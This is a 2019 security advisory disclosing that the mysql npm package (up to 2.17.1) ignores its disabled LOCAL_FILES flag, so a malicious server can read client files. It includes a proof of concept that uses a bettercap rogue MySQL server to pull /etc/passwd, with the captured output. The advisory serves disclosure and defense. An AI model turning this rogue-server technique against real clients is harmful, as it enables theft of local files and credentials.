

# ■ Local File Disclosure in *mysql npm* package 2.x ≤ 2.17.1

## ■ Security advisory

2019/11/04

Julien Legras

# Vulnerability description

---

## Presentation of *mysql*

“A pure *node.js* JavaScript Client implementing the MySQL protocol.”<sup>1</sup>

## The issue

During a security assessment, Synacktiv experts faced a feature allowing fetching data from another MySQL server. The application was using the *mysql* npm package. This package supports the `LOAD DATA LOCAL` command, allowing the server to ask a file on the client's filesystem. Although this package allows to disable the flag `LOCAL_FILES` to disable this dangerous feature, it is not checked at run time and a malicious MySQL server can always ask to read local files.

## Affected versions

The last stable version of the 2.x branch at the time of this advisory, 2.17.1, is known to be affected.

## Workaround

A patched version exists in a separate repository: <https://github.com/mysqljs/mysql/tree/feature/infile-switch>

Otherwise, the *mariadb* npm package can be used as a replacement as it is safe by default.

## Timeline

Date	Action
2019/05/10	Discovery.
2019/05/14	Advisory sent to <a href="mailto:doug@somethingdoug.com">doug@somethingdoug.com</a> .
2019/05/14	Advisory acknowledged.
2019/05/15	Agreed on 90 days deadline.
2019/07/24	Email sent to get news about the patch, no answer.
2019/10/24	Email sent to get news about the patch, no answer.
2019/11/04	Advisory released.

---

1 <https://github.com/mysqljs/mysql>

## Technical description and proof-of-concept

According to the documentation, the *mysql npm* package supports various connection flags. Among them, the flag *LOCAL\_FILES* specifies if the client can use the *LOAD DATA LOCAL* command.

The following example shows how this flag can be disabled:

```
var mysql = require('mysql');
var connection = mysql.createConnection('mysql://test:test@127.0.0.1/test?flags=-LOCAL_FILES');

connection.connect();
connection.query('SELECT 1', function (error, results, fields) { });
connection.end();
```

As expected, the connection header indicates that the *LOAD DATA LOCAL* is **not** available:

```
178 3.540738215 127.0.0.1 127.0.0.1 MySQL 133 Login Request user=test db=test
▶ Frame 178: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits) on interface 0
▶ Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
▶ Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
▶ Transmission Control Protocol, Src Port: 42594, Dst Port: 3306, Seq: 1, Ack: 96, Len: 67
▼ MySQL Protocol
  Packet Length: 63
  Packet Number: 1
  ▼ Login Request
    ▼ Client Capabilities: 0xf34f
      .... .1 = Long Password: Set
      .... .1 = Found Rows: Set
      .... .1.. = Long Column Flags: Set
      .... .1... = Connect With Database: Set
      .... .0... = Don't Allow database.table.column: Not set
      .... .0... = Can use compression protocol: Not set
      .... .1... = ODBC Client: Set
      .... .0... = Can Use LOAD DATA LOCAL: Not set
      .... .1... = Ignore Spaces before '(': Set
      .... .1... = Speaks 4.1 protocol (new flag): Set
      .... .0... = Interactive Client: Not set
      .... .0... = Switch to SSL after handshake: Not set
      .... .1... = Ignore sigpipes: Set
      .... .1... = Knows about transactions: Set
      .... .1... = Speaks 4.1 protocol (old flag): Set
      .... .1... = Can do 4.1 authentication: Set
    ▶ Extended Client Capabilities: 0x0006
      MAX Packet: 0
      Charset: utf8 COLLATE utf8_general_ci (33)
      Username: test
      Password: e0ff85c83745d9427a8d47bd225ec65faed87fd3
      Schema: test
```

Figure 1: Login request with flags

However, the server can still ask to read local file on the client's filesystem:

```
$ bettercap -iface lo -eval "set mysql.server.infile /etc/passwd; mysql.server on"
[18:03:35] [sys.log] [inf] mysql.server server starting on address 127.0.0.1:3306
127.0.0.0/8 > 127.0.0.1 >> [18:03:43] [sys.log] [inf] mysql.server connection from 127.0.0.1
127.0.0.0/8 > 127.0.0.1 >> [18:03:43] [sys.log] [inf] mysql.server can use LOAD DATA LOCAL: 0
127.0.0.0/8 > 127.0.0.1 >> [18:03:43] [sys.log] [inf] mysql.server login request username: test
127.0.0.0/8 > 127.0.0.1 >> [18:03:43] [sys.log] [inf] mysql.server read file ( /etc/passwd ) is 2890
bytes
127.0.0.0/8 > 127.0.0.1 >> [18:03:43] [sys.log] [inf] mysql.server
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
```

The problem lies in the fact that the flag is not checked:

```

Query.prototype.determinePacket = function determinePacket(byte, parser) {
  var resultSet = this._resultSet;

  if (!resultSet) {
    switch (byte) {
      case 0x00: return Packets.OkPacket;
      case 0xff: return Packets.ErrorPacket;
      default:  return Packets.ResultSetHeaderPacket;
    }
  }
}

[...]
```

```

Query.prototype['ResultSetHeaderPacket'] = function(packet) {
  if (packet.fieldCount === null) {
    this._sendLocalDataFile(packet.extra);
  } else {
    this._resultSet = new ResultSet(packet);
  }
};

[...]
```

```

Query.prototype._sendLocalDataFile = function(path) {
  var self = this;
  var localStream = fs.createReadStream(path, {
    flag      : 'r',
    encoding  : null,
    autoClose : true
  });

  this.on('pause', function () {
    localStream.pause();
  });

  this.on('resume', function () {
    localStream.resume();
  });

  localStream.on('data', function (data) {
    self.emit('packet', new Packets.LocalDataFilePacket(data));
  });

  localStream.on('error', function (err) {
    self._loadError = err;
    localStream.emit('end');
  });

  localStream.on('end', function () {
    self.emit('packet', new Packets.EmptyPacket());
  });
};

```